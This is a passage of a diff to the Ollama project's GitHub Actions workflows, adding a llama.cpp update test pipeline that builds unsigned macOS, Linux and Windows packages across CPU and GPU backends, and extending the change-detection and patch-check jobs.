fi
|
||||
done
|
||||
- name: Generate checksum file
|
||||
run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
|
||||
working-directory: dist
|
||||
|
||||
@@ -0,0 +1,596 @@
|
||||
name: test-llamacpp-update
|
||||
|
||||
# PR validation artifacts from this workflow are intentionally unsigned and not
|
||||
# notarized. They are for llama.cpp update testing only and must not be
|
||||
# published as release artifacts.
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'LLAMA_CPP_VERSION'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CGO_CFLAGS: '-O3'
|
||||
CGO_CXXFLAGS: '-O3'
|
||||
|
||||
jobs:
|
||||
setup-environment:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
id: goflags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
|
||||
{
|
||||
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
|
||||
echo "VERSION=${VERSION}"
|
||||
echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
|
||||
} >>"${GITHUB_OUTPUT}"
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Build unsigned Darwin runtime
|
||||
run: ./scripts/build_darwin.sh build package
|
||||
- name: Log build results
|
||||
run: ls -l dist/
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-darwin.tgz
|
||||
path: dist/ollama-darwin.tgz
|
||||
compression-level: 0
|
||||
|
||||
# Build payload export stages independently and combine the exported
|
||||
# filesystem artifacts below. This preserves parallelism without Docker
|
||||
# registry credentials or oversized GitHub layer caches.
|
||||
linux-payloads:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: amd64
|
||||
target: publish-llama-server-rocm_v7_2
|
||||
payload: rocm_v7_2
|
||||
- arch: amd64
|
||||
target: publish-llama-server-vulkan
|
||||
payload: vulkan
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack5
|
||||
payload: cuda_jetpack5
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack6
|
||||
payload: cuda_jetpack6
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: ${{ matrix.target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
linux-go:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: publish-go
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux Go payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-go
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
# MLX payloads are intentionally excluded from this workflow; the Dockerfile
|
||||
# still exposes publish-mlx for a separate MLX-specific workflow.
|
||||
linux-bundles:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: [linux-payloads, linux-go]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: linux-payload-${{ matrix.arch }}-*
|
||||
path: ${{ runner.temp }}/payloads
|
||||
merge-multiple: true
|
||||
- name: Assemble Linux payload tree
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
src="${{ runner.temp }}/payloads"
|
||||
arch="${{ matrix.arch }}"
|
||||
dest="dist/linux-${arch}"
|
||||
copy_payload() {
|
||||
local name="$1"
|
||||
local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
|
||||
if [ ! -f "${payload}" ]; then
|
||||
echo "missing payload ${payload}"
|
||||
exit 1
|
||||
fi
|
||||
zstd -d <"${payload}" | tar -C "${dest}" -xf -
|
||||
}
|
||||
|
||||
mkdir -p "${dest}"
|
||||
copy_payload go
|
||||
copy_payload cpu
|
||||
copy_payload cuda_v12
|
||||
copy_payload cuda_v13
|
||||
if [ "${arch}" = "amd64" ]; then
|
||||
copy_payload vulkan
|
||||
copy_payload rocm_v7_2
|
||||
else
|
||||
copy_payload cuda_jetpack5
|
||||
copy_payload cuda_jetpack6
|
||||
fi
|
||||
|
||||
./scripts/deduplicate_cuda_libs.sh "${dest}"
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/linux-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"${base}/bin/ollama" \
|
||||
"${base}/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
|
||||
done
|
||||
- name: Create archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "${COMPONENT}" in
|
||||
bin/ollama*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/linux-${{ matrix.arch }}
|
||||
- name: Log archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
echo "${ARCHIVE}"
|
||||
cat "${ARCHIVE}"
|
||||
done
|
||||
- name: Create Linux archives
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
|
||||
done
|
||||
wait
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
path: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'amd64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-amd64-rocm.tar.zst
|
||||
path: ollama-linux-amd64-rocm.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack5.tar.zst
|
||||
path: ollama-linux-arm64-jetpack5.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack6.tar.zst
|
||||
path: ollama-linux-arm64-jetpack6.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
- '"crt"'
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
choco install -y --no-progress ccache ninja
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- if: startsWith(matrix.preset, 'CUDA ')
|
||||
name: Install CUDA ${{ matrix.cuda-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
|
||||
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
|
||||
echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- if: startsWith(matrix.preset, 'ROCm')
|
||||
name: Install ROCm ${{ matrix.rocm-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
|
||||
echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: matrix.preset == 'Vulkan'
|
||||
name: Install Vulkan
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
|
||||
uses: actions/cache/save@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build Windows dependencies
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-build:
|
||||
runs-on: windows
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
$version=& gcc -v 2>&1
|
||||
$version=$version -join "`n"
|
||||
echo "gcc is $version"
|
||||
if ($version -notmatch 'clang') {
|
||||
echo "ERROR: GCC must be clang for proper utf16 handling"
|
||||
exit 1
|
||||
}
|
||||
$ErrorActionPreference='Stop'
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: "20"
|
||||
- name: Build Windows binaries and app launchers
|
||||
run: ./scripts/build_windows.ps1 ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-windows-amd64
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-package:
|
||||
runs-on: windows
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: build-windows*
|
||||
path: dist
|
||||
merge-multiple: true
|
||||
- name: Copy unsigned install script
|
||||
run: Copy-Item -Path .\scripts\install.ps1 -Destination .\dist\install.ps1 -ErrorAction Stop
|
||||
- name: Log dist contents after download
|
||||
run: gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- name: Build unsigned Windows installer and zips
|
||||
run: ./scripts/build_windows.ps1 deps installer zip
|
||||
- name: Log contents after build
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- name: Verify Windows package outputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/ollama-windows-amd64.zip \
|
||||
dist/ollama-windows-arm64.zip \
|
||||
dist/ollama-windows-amd64-rocm.zip \
|
||||
dist/OllamaSetup.exe \
|
||||
dist/install.ps1
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64.zip
|
||||
path: dist/ollama-windows-amd64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-arm64.zip
|
||||
path: dist/ollama-windows-arm64.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-windows-amd64-rocm.zip
|
||||
path: dist/ollama-windows-amd64-rocm.zip
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: OllamaSetup.exe
|
||||
path: dist/OllamaSetup.exe
|
||||
compression-level: 0
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: install.ps1
|
||||
path: dist/install.ps1
|
||||
compression-level: 0
|
||||
+152
-37
@@ -23,7 +23,7 @@ jobs:
|
||||
outputs:
|
||||
changed: ${{ steps.changes.outputs.changed }}
|
||||
app_changed: ${{ steps.changes.outputs.app_changed }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
enginehash: ${{ steps.changes.outputs.enginehash }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
@@ -38,9 +38,42 @@ jobs:
|
||||
| xargs python3 -c "import sys; from pathlib import Path; print(any(Path(x).match(glob) for x in sys.argv[1:] for glob in '$*'.split(' ')))"
|
||||
}
|
||||
|
||||
echo changed=$(changed 'llama/llama.cpp/**/*' 'ml/backend/ggml/ggml/**/*' '.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo changed=$(changed \
|
||||
'CMakeLists.txt' \
|
||||
'CMakePresets.json' \
|
||||
'cmake/**' \
|
||||
'cmake/**/*' \
|
||||
'llama/server/**/*' \
|
||||
'llama/compat/**/*' \
|
||||
'LLAMA_CPP_VERSION' \
|
||||
'MLX_VERSION' \
|
||||
'MLX_C_VERSION' \
|
||||
'llama/llama.cpp/**/*' \
|
||||
'ml/backend/ggml/ggml/**/*' \
|
||||
'x/imagegen/mlx/**' \
|
||||
'x/imagegen/mlx/**/*' \
|
||||
'.github/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo app_changed=$(changed 'app/**' 'app/**/*') | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
echo enginehash=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
patches:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly
|
||||
shell: bash
|
||||
run: |
|
||||
cmake -S llama/server -B "$RUNNER_TEMP/llama-server-patch-check" \
|
||||
-DCMAKE_BUILD_TYPE=Release \
|
||||
-DBUILD_SHARED_LIBS=ON \
|
||||
-DGGML_BACKEND_DL=ON \
|
||||
-DGGML_NATIVE=OFF \
|
||||
-DGGML_OPENMP=OFF \
|
||||
-DGGML_CPU_ALL_VARIANTS=ON \
|
||||
-DOLLAMA_RUNNER_DIR=
|
||||
|
||||
linux:
|
||||
needs: [changes]
|
||||
@@ -49,23 +82,41 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build/local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib/ollama/llama-server
|
||||
install-go: true
|
||||
- preset: CUDA
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87'
|
||||
expected_payload: lib/ollama/cuda_v13/libggml-cuda.so
|
||||
- preset: ROCm
|
||||
container: rocm/dev-ubuntu-22.04:7.2.1
|
||||
extra-packages: rocm-libs
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
superbuild_target: ollama-llama-server-rocm_v7_2
|
||||
superbuild_dir: build/local-superbuild-rocm_v7_2
|
||||
